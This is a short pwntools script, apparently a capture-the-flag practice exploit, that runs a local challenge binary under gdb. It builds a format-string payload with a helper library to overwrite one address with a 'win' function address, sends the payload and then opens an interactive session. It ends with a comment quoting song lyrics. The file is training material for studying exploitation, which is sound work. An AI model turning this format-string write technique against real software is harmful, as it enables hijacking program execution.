# +------------------------------------------------+
# | Atack: Format String Winfunc                   |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *

import sf

target = process("./chall-test_FmtString-02-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

fs = sf.WriteFmtStr(
		arch = 64,
		value = 0x4011d6,
		address = 0x4033b8,
		offset = 0x6,
		printed_bytes = 0x10,
		alignment_bytes = 0x0,
		value_base = 0,
		address_base = 0)
payload = fs.generate_fmt_str()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Ice Nine Kills                         |
# +------------------------------------------------+
# | Song: Tess-Timony                              |
# +------------------------------------------------+
# | I see sirens,                                  |
# | spinning around through my eyelids,            |
# +------------------------------------------------+

